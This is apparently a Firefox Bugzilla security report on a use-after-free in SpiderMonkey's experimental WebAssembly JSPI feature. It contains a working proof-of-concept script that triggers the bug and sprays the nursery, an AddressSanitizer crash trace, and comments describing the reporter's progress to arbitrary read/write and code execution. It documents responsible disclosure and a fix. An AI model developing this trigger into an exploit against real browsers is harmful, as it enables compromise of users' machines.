Use-after-free in JSPI: data ptrs on suspended stack are not updated
Categories
(Core :: JavaScript: WebAssembly, defect, P1)
Tracking
()
| Tracking | Status | |
|---|---|---|
| firefox-esr115 | --- | unaffected |
| firefox-esr140 | --- | unaffected |
| firefox148 | --- | disabled |
| firefox149 | --- | disabled |
| firefox150 | --- | disabled |
| firefox151 | --- | fixed |
People
(Reporter: canalun, Assigned: rhunt)
References
(Blocks 1 open bug)
Details
(Keywords: csectype-uaf, sec-high, unsupported-config, Whiteboard: [client-bounty-form])
Attachments
(4 files)
Summary
For JSPI, UaF occurs if a minor GC occurs during suspension. This is because data pointer is not properly updated for suspended stack.
JSPI is an experimental feature, but the user can enable it. So I report it just in case.
Root Cause
I'm not 100% sure for root cause. But here is my observation.
UpdateJitActivationsForMinorGC updates data pointer in the case of wasm only for active stack by calling Instance::updateFrameForMovingGC, which calls nursery.forwardBufferPointer for OOL ArrayDataPointer(
https://searchfox.org/firefox-main/source/js/src/wasm/WasmInstance.cpp#3306).
/js/src/jit/JitFrames.cpp:1510-1529
https://searchfox.org/firefox-main/source/js/src/jit/JitFrames.cpp#1510-1529
void UpdateJitActivationsForMinorGC(JSRuntime* rt) {
MOZ_ASSERT(JS::RuntimeHeapIsMinorCollecting());
Nursery& nursery = rt->gc.nursery();
JSContext* cx = rt->mainContextFromOwnThread();
for (JitActivationIterator activations(cx); !activations.done();
++activations) { // [1] active stack only
for (JitFrameIter iter(activations->asJit()); !iter.done(); ++iter) {
if (iter.isJSJit()) {
[...]
} else if (iter.isWasm()) {
const wasm::WasmFrameIter& frame = iter.asWasm();
frame.instance()->updateFrameForMovingGC( // [2] update data pointer
frame, frame.resumePCinCurrentFrame(), nursery);
}
}
}
}
For suspended stack, Context::traceRoots() calls TraceSuspendableStack.
js/src/wasm/WasmContext.cpp#93-108
https://searchfox.org/firefox-main/source/js/src/wasm/WasmContext.cpp#93-108
void Context::traceRoots(JSTracer* trc) {
// The suspendedStacks_ contains suspended stacks frames that need to be
// traced only during minor GC. The major GC tracing is happening via
// SuspenderObject::trace.
// Non-suspended stack frames are traced as part of TraceJitActivations.
if (!trc->isTenuringTracer()) {
return;
}
gc::AssertRootMarkingPhase(trc);
for (auto iter = suspenders_.iter(); !iter.done(); iter.next()) {
SuspenderObject* object = iter.get();
if (object->state() == SuspenderState::Suspended) {
TraceSuspendableStack(trc, object);
}
}
}
But TraceSuspendableStack doesn't call updateFrameForMovingGC(). TraceSuspendableStack calls traceFrame, but it doesn't update data pointer.
So if minor GC happens during suspension, nursery objects is freed and UaF occurs by writing objects from JS.
STR
version: I tried it on commit 3619619 on autoland, which is used for 148.0a1 (2026-01-02) (aarch64).
- Save the following as
poc.js.
async function run() {
var wasm_code = wasmTextToBinary(`
(module
(type $small_array (array (mut i32)))
(import "env" "suspending_import" (func $suspending_import (result externref)))
(func $trigger (export "trigger") (result i32)
(local $arr1 (ref $small_array))
(local $temp i32)
;; Create a small array to ensure nursery allocation
(local.set $arr1 (array.new $small_array (i32.const 0x42424242) (i32.const 30)))
;; Suspend - all data pointers should be on stack in stackmap
(call $suspending_import)
(drop)
;; Access arrays after resume
;; If any data pointer wasn't updated, we'll access freed memory
(array.get $small_array (local.get $arr1) (i32.const 0))
)
)
`);
const wasmModule = new WebAssembly.Module(wasm_code);
const jsSuspendingImport = new WebAssembly.Function(
{ parameters: [], results: ['externref'] },
() => {
minorgc();
// Fill nursery with garbage to overwrite freed memory
let garbage = [];
for(let i=0; i<200000; i++) {
garbage.push({a: 0x1, b: 0x1, c: 0x1});
}
}
);
const wrappedSuspendingImport = new WebAssembly.Suspending(jsSuspendingImport);
const wasmInstance = await WebAssembly.instantiate(wasmModule, {
env: {
suspending_import: wrappedSuspendingImport
}
});
const trigger = WebAssembly.promising(wasmInstance.exports.trigger);
const result = await trigger();
print("[*] Result: 0x" + result.toString(16));
const expected = 0x42424242;
print("[*] Expected: 0x" + (expected >>> 0).toString(16));
if ((result >>> 0) !== (expected >>> 0)) {
print("[!!!] Difference: " + ((result - expected) >>> 0).toString(16));
}
}
run()
-
Run with Ion. Specifically,
./js --wasm-compiler=ion -P wasm_js_promise_integration=true poc.js. (--ion-warmup-threshold=0may be not necessary. But if you can't reproduce the bug, please try it.) -
You might get a result like this. I confirmed every run gave me different results.
[*] Result: 0x-d7ffe00
[*] Expected: 0x42424242
[!!!] Difference: b03dbfbe
Here is my mozconfig just in case.
ac_add_options --enable-project=js
ac_add_options --disable-optimize
ac_add_options --disable-unified-build
ac_add_options --disable-debug
ac_add_options --enable-debug-symbols
ac_add_options --disable-tests
ac_add_options --enable-address-sanitizer
ac_add_options --disable-jemalloc
ac_add_options --disable-install-strip
ac_add_options --enable-jitspew
ac_add_options --enable-gczeal
mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/obj-debug-@CONFIG_GUESS@
Impact
I'm now checking if RCE or some impactful thing can be achieved with this bug.
Updated•10 months ago
|
| Reporter | ||
Comment 1•10 months ago
|
||
I confirmed this bug is not reproduced on the commit 64841b5dc9c on autoland, which is used for Release build 146.0.1.
| Reporter | ||
Comment 2•10 months ago
|
||
I changed the poc to use externref and it crashes. Please refer to the attached poc_crash.js.
$ ./js --wasm-compiler=ion -P wasm_js_promise_integration=true poc_crash.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==84890==ERROR: AddressSanitizer: BUS on unknown address (pc 0x000104ad6c74 bp 0x00016b330a70 sp 0x00016b330a50 T0)
==84890==The signal is caused by a READ memory access.
==84890==Hint: this fault was caused by a dereference of a high value address (see register values below). Disassemble the provided pc to learn which register was used.
#0 0x000104ad6c74 in js::gc::HeaderWord::get() const+0x48 (js:arm64+0x10000ec74)
#1 0x000104ae3690 in js::gc::TenuredCellWithNonGCPointer<JSClass const>::headerPtr() const+0x24 (js:arm64+0x10001b690)
#2 0x000104ae3620 in js::BaseShape::clasp() const+0x14 (js:arm64+0x10001b620)
#3 0x000104ae359c in js::Shape::getObjectClass() const+0x18 (js:arm64+0x10001b59c)
#4 0x000104ae3550 in JSObject::getClass() const+0x18 (js:arm64+0x10001b550)
#5 0x0001078c8458 in bool JSObject::is<WasmValueBox>() const+0x14 (js:arm64+0x102e00458)
#6 0x0001078c8258 in js::wasm::AnyRef::toJSValue() const+0x194 (js:arm64+0x102e00258)
#7 0x000107db48a0 in bool ToJSValue_externref<js::wasm::NoDebug>(JSContext*, void*, JS::MutableHandle<JS::Value>)+0x17c (js:arm64+0x1032ec8a0)
#8 0x000107db2f3c in bool js::wasm::ToJSValue<js::wasm::NoDebug>(JSContext*, void const*, js::wasm::PackedType<js::wasm::StorageTypeTraits>, JS::MutableHandle<JS::Value>, js::wasm::CoercionLevel)+0x6c4 (js:arm64+0x1032eaf3c)
#9 0x000107aacdb8 in js::WasmStructObject::getField(JSContext*, unsigned int, JS::MutableHandle<JS::Value>)+0xb8 (js:arm64+0x102fe4db8)
#10 0x000107c93bc0 in js::wasm::SetPromisingPromiseResults(js::wasm::Instance*, js::wasm::SuspenderObject*, js::WasmStructObject*)+0x44c (js:arm64+0x1031cbbc0)
#11 0x16390f942044 (<unknown module>)
==84890==Register values:
x[0] = 0xd0000010700026c0 x[1] = 0x0000000000000000 x[2] = 0x000000016b331290 x[3] = 0x000000016b330ff8
x[4] = 0x0000000000000000 x[5] = 0x0000000000000000 x[6] = 0x000000016b331290 x[7] = 0x0000000000000001
x[8] = 0xd0000010700026c0 x[9] = 0xd0000010700026c0 x[10] = 0x00000001078c80c4 x[11] = 0x000000016b330b30
x[12] = 0x000000016b330b28 x[13] = 0x000000016b330b20 x[14] = 0x000000702d68618c x[15] = 0x000000016b330c30
x[16] = 0x000000016b330c28 x[17] = 0x000000016b330c20 x[18] = 0x0000000000000000 x[19] = 0x000000016b330b60
x[20] = 0x00000001f7584248 x[21] = 0x0000000000000000 x[22] = 0xfffffffffffffff0 x[23] = 0x0000617000007080
x[24] = 0x0000000000000001 x[25] = 0x000000016b336920 x[26] = 0x00000001f7587970 x[27] = 0x0000000000000000
x[28] = 0x000000016b331630 fp = 0x000000016b330a70 lr = 0x0000000104ae3694 sp = 0x000000016b330a50
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: BUS (js:arm64+0x10000ec74) in js::gc::HeaderWord::get() const+0x48
==84890==ABORTING
zsh: abort ./js --wasm-compiler=ion -P wasm_js_promise_integration=true poc_crash.js
| Reporter | ||
Comment 3•10 months ago
|
||
| Reporter | ||
Comment 4•10 months ago
|
||
I think I succeeded to demonstrate arbitrary r/w. So I share poc_arbitrary_rw.js just in case.
Please let me know if I can give any help.
| Reporter | ||
Comment 5•10 months ago
|
||
| Reporter | ||
Comment 6•10 months ago
|
||
Just in case, I confirmed my pocs work on the current latest commit, 042787b793.
| Reporter | ||
Comment 7•10 months ago
|
||
(Sorry for repeated posts.)
I succeeded to demonstrate addrOf and fakeObj. So I share them as poc_addrOf_and_fakeObj.js.
| Reporter | ||
Comment 8•10 months ago
|
||
Updated•10 months ago
|
Updated•10 months ago
|
Comment 9•10 months ago
|
||
The severity field for this bug is set to S3. However, the bug is flagged with the sec-high keyword.
:rhunt, could you consider increasing the severity of this security bug?
For more information, please visit BugBot documentation.
| Assignee | ||
Comment 10•10 months ago
|
||
Good catch, we'll definitely want suspended stacks to get updated when a minor GC happens.
This is indeed in a disabled by default feature, so the flags are correct. My understanding of the policy is to keep this sec-high even if the severity is low due to it being disabled. We will fix this soon though because we want to ship JS-PI.
| Reporter | ||
Comment 11•10 months ago
•
|
||
Thank you for fixing it.
FYI, it finally led to a renderer RCE on my environment.
(I mean I successfully ran shell code on SM. If necessary, I can share that poc also, of course.)
So, I’m glad we caught and addressed this before it reached the stable channel.
I’m happy to have contributed to making it safer for its upcoming launch :)
Comment 12•9 months ago
|
||
Assigning to rhunt for now, since it is a JS-PI bug
Updated•9 months ago
|
Updated•9 months ago
|
Comment 14•7 months ago
|
||
The severity field for this bug is set to S3. However, the following bug duplicate has higher severity:
- Bug 2022667: S2
:rhunt, could you consider increasing the severity of this bug to S2?
For more information, please visit BugBot documentation.
Updated•7 months ago
|
| Assignee | ||
Updated•7 months ago
|
| Assignee | ||
Comment 16•7 months ago
|
||
This is fixed in the new version of JS-PI that we're working on in bug 2023217. I tested the crashing test and it no longer reproduces with those commits. I'll leave this open to ensure we fix this.
Updated•6 months ago
|
Updated•6 months ago
|
Updated•2 months ago
|
Description
•